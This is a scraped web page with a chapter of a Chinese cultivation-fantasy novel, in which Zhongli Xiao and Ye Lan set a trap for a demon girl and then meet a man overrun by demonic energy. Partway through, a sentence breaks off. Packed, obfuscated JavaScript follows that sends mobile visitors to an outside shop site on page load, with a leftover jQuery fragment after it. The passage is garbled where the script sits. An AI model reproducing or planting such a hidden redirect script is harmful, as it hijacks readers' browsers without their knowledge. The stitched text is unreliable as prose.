站在如此偏僻的山前,钟离晓疑惑万分。
这里一片荒芜,没什么草木。周围也没有村庄,路面看着更是没什么人经过的样子。
他们一到这里便感受到了强大的魔气,其中还夹杂着微乎其微的仙气,令他们震惊的是这两种气息好像出自同一个人。
三人寻着气息找到一个隐蔽的山洞。
钟离晓站在洞外朝里看去。
一个男子正在山洞里打坐,他神情痛苦,周围围绕着浓郁的黑气。那些黑气不断进入他的体内,又不断地从他体内出来。
他看着像是走火入魔,控制不了自己的力量。
清然走在最后,她微皱眉头,眼里全是探究。可她盯着的不是那位男子,而是钟离晓。
她低声自言自语:“你究竟是谁啊?”
早在抵达此地时,清然便察觉到第三股气息。那道气息颇为神秘,她甚至没不清是仙是魔。
“帮我抓住他。”清然拍了下钟离晓的肩膀。
钟离晓不可置信地转头:“你觉得我打得过他?”
“那自然是……”清然轻笑,“打不过的。”
可她心里想的却不一样:那可不一定。
钟离晓瞪着眼质问:“那你还让我去,你是想让我去送死吗?”
清然没说话,只是一掌将她拍到男子面前。
钟离晓没反应得过来发生了何事,她下意识转头。这不转头还好,一转头便看见男子睁开了双眼。
那双眼睛漂亮极了,黑得纯粹,没有一点杂色。
男子似乎是被钟离晓的突然出现惊到了,他微微张着嘴,紧紧盯着钟离晓,脸上也看不见刚才那样痛苦的神情。
眼看男子身上的魔气越来越浓郁,钟离晓下意识退后。
夜阑怒不可遏地瞪一眼清然,随后施法想将钟离晓拉回来,可是清然却将他挡住。
似乎是听见了二人的声响,男子转眸看向洞口。
他手上没有任何动作,可是有一缕黑色带点红的魔气却迅速绕到二人面前,将二人拉到了钟离晓身后。
接着,男子闷哼一声又痛苦地闭上双眼。
三人你看看我,我看看你,思考着要不要出去。
直到又一声闷哼声传来,三人看向男子。
四周的魔气不知为何流窜得更快,男子使劲想要压制却毫无作用。
他慌乱地睁开眼睛,连忙开口:“快出去!”
可他终究还是提醒得慢了一步,三人还没转过身便有一股强大的力量袭来。
虽说他们反应迅速,挡了一下,可是双方实力相差具大,挡和不挡也没什么区别。
钟离晓生无可恋地闭上双眼,打算安详迎接接下来的疼痛。
此时此刻,她颇为后悔来这一遭。
昨日,钟离晓收到一封传书后急急忙忙动身下山,途中碰巧遇见夜阑。
他们二人在梨月山是出了名的惹祸精,一个人惹祸,另一个人十有八九也会跟着去。
他两从小到大惹的祸事数都数不过来,被罚数次也丝毫不长记性。
二人没有因为年龄增长变得稳重,反而是稀奇古怪的想法变多了,惹的事丝毫没有减少。
用二人的话来说:反正都惹这么多事了,多一件不多,少一件不少,还是怎么高兴怎么来得好。
梨月山位于凤岚城,是清梦国七大门派之一。钟离晓和夜阑同为梨月山内门弟子,虽说师从不同,但也是朝夕相处十余年,有时仅靠一个眼神便知道对方想做何事。
这次也是这样。
夜阑已经好几日没见着钟离晓,见她兴冲冲下山便将手上事务交给自家弟弟,随后跟上去。
二人走到了凤岚城郊外,在一处偏僻的林子旁停下脚步。
钟离晓一路上神神秘秘的,没开口说话,只是慢悠悠地走着,模样看着有些激动,夜阑也没看懂她想干嘛。
“钟离晓,说说吧,拉我到这偏僻的地方来,又想带着我惹什么祸啊?”
钟离晓听夜阑这颠倒黑白的话已经习以为常,她轻描淡写地开口:“啧,不知道是谁,屁颠屁颠非要跟着我来,这会还在这儿颠倒黑白。你说是谁呀,夜阑师兄。”
钟离晓说完话没等夜阑开口,她挑了块看得顺眼的地,走过去顺手拾起几块看得顺眼的石头,随后将灵力注入石头中。
“放心吧,这次肯定不是来惹事的。”她散漫地摆弄着石头,摆完后招呼夜阑:“师兄,你看看这法阵摆错没?”
夜阑走过去看了眼,嫌弃地开口:“你不善法阵,为何不直接让我来?你这阵稍微强一点的妖动动手指头就能给你破了。”
“我自己的实力我能不清楚吗?我弄这法阵又不是为了取她性命的,能困她一会儿就行了。”
“那肯定是没问题的。”
夜阑吊儿郎当地开口:“你在这儿站着是指望他自投罗网吗?”
“谁说的。”钟离晓翻了个白眼,她看了一下四周,朝一块小矮坡抬了下头,“去那等着吧。”
二人到矮坡后面坐着后,夜阑盯着钟离晓,示意她解释。
“昨日有个妖女在青烟国太子面前抢了他的东西。”谈起这事,钟离晓语气里满是兴奋。
青烟国是清梦邻国。
夜阑眼里同样充满震惊,八卦之心燃起,“青烟国太子实力不弱,身边能力强盛者更是不少,居然让一个妖女当面抢了东西!”
钟离晓激动地点着头,满眼都是对妖女的崇拜:“那妖女可厉害了。太子带着许多奇珍异宝回城,她拦了他们的道。原本是想和太子交换东西,怎料太子不答应。妖女只好自己上手抢,没想到还真给她抢走了。”
夜阑一拍大腿幸灾乐祸道:“那太子不得给气个半死啊!”
“对啊,这两日太子四处找她呢,不过一直没找着,她何时出的青烟国太子都不知道。”
“那你确定你那个法阵困得住她吗?她不会看出来?要不我去重新摆一下?”夜阑实在是相信不了钟离晓那半吊子水平。
钟离晓不太在意困不困得住妖女,她摆摆手开始说胡话,“没事,随缘吧,实在不行上去卖惨引她注意。”
夜阑:“……”
“那你在这儿蹲她干嘛,让她传授你抢东西的经验啊?”
钟离晓给他翻了个白眼,“别整天没个正形,我找她有正经事!”
“你就别五十步笑百步了,你能有什么正经事啊?”夜阑笑着打趣她。
钟离晓不屑地“切”了一声,“多的是你不知道的事。”
随后,二人开始毫无意义地斗嘴,你一句我一句吵得不可开交。
最后还是夜阑先受不了无奈地开口:“停停停!别说了,说不过你。”
钟离晓傲娇地抬了下头,“知道就好!”
夜阑无奈地笑着,换了个话题,“怎么好几日没见着你和荣荣师妹啊?”
他口中的“荣荣师妹”名为谭雪荣,是钟离晓的亲师妹,二人都是梨月山掌门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727528|208885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的亲传弟子。
“她前段日子总感觉心神不宁,便闭关一段日子,我看着她呢。”
夜阑着急地开口:“那你怎么就这么下山了呀!都不说一声,让她一人闭关,出了事怎么办啊!”
梨月山上有一块修炼圣地,听闻是许久以前一位天上的神仙留下的。
那块地神力强盛,只可供实力不凡者修炼。
若有实力平庸者于其中修炼,轻则修为全废,重则魂飞魄散,连转世的机会都没有。
梨月山有实力在其中修炼的人也寥寥无几,他们修炼时也会让人在一旁看着,以防走火入魔。
钟离晓挑眉笑着,懒洋洋地开口:“你着急啥啊?我能让她一个人闭关吗?我找人帮忙看着呢。”
夜阑不自在地扭开头,抹了抹鼻子,心虚地开口:“我这不是担心嘛。”
钟离晓没说话,只意味深长地盯着他笑。
过了会儿,夜阑小声开口:“那个……妖女什么时候到啊?”
这么拙劣地转移话题,钟离晓自然是看得出来,但还是随了他的意。
“我看看。”她说完闭上眼,施法探寻妖女的踪迹。
没过多久,她睁开眼开口:“快了,等着吧。”
夜阑见她揉了两下眼睛担忧问道:“眼睛又不舒服了?”
“嗯。”
夜阑叹口气,“也不知你的眼睛是怎么了,时不时便疼,师叔都看不出缘由。”
钟离晓无所谓的说:“反正都习惯了,随便它疼不疼吧。”
夜阑无奈地摇摇头,不想再提这件事,“其实我一直很好奇一件事。”
“说啊,这么墨迹干嘛呢?”
“我先说好啊,这事我也不知道能不能说,要是不能说你就不说,千万别生气啊。”
看着夜阑这么认真的样子,钟离晓好笑地开口:“我又没做什么伤天害理的事,有何不能说的?再说了,就我们这关系,我怎么可能因为一些小事就生气。”
夜阑也觉得自己说的话有些好笑,摇着头笑了下。
“一般来说,追寻别人的踪迹不应该要有那人相关物什才可以吗?你原先也是这样的,为何后来就不用了。”
钟离晓轻笑出声,“这点小事有什么不可以说的啊。”
夜阑睁大双眼,一副洗耳恭听的样子,满脸在说:快说!快说!
钟离晓又玩心大起,朝他勾了勾手指,示意他凑近点。
待夜阑傻兮兮地凑近后,钟离晓神秘兮兮地说了两字。“秘密。”
夜阑:“......”
他咬牙切齿,“钟离晓!”
钟离晓依旧笑嘻嘻的,满脸欠揍,“怎么了,还不允许我有点秘密啊,你没有秘密吗?”
夜阑愣住片刻,但是钟离晓并没有注意到。
“别逗我了行不行啊?”
钟离晓眯着眼笑了会儿,终于开口说话:“那是我第一次在后山那块地修炼后发现的,我也不知为何,只要我想,世间一草一木都能成为我的眼,我能看见任何我想看见的事。”
夜阑紧绷着唇,眉心微蹙,“这能力还从未听闻,你身体没有出什么状况吧?”
钟离晓安慰道:“放心吧,都过了好久了,没出事,应该不会有事的。”
夜阑还是有些担忧,“这种世间罕见的能力肯定是要付出什么代价的,你注意点啊,有什么事及时和我们说。”
钟离晓又和夜阑说了好久,他才稍微放了点心。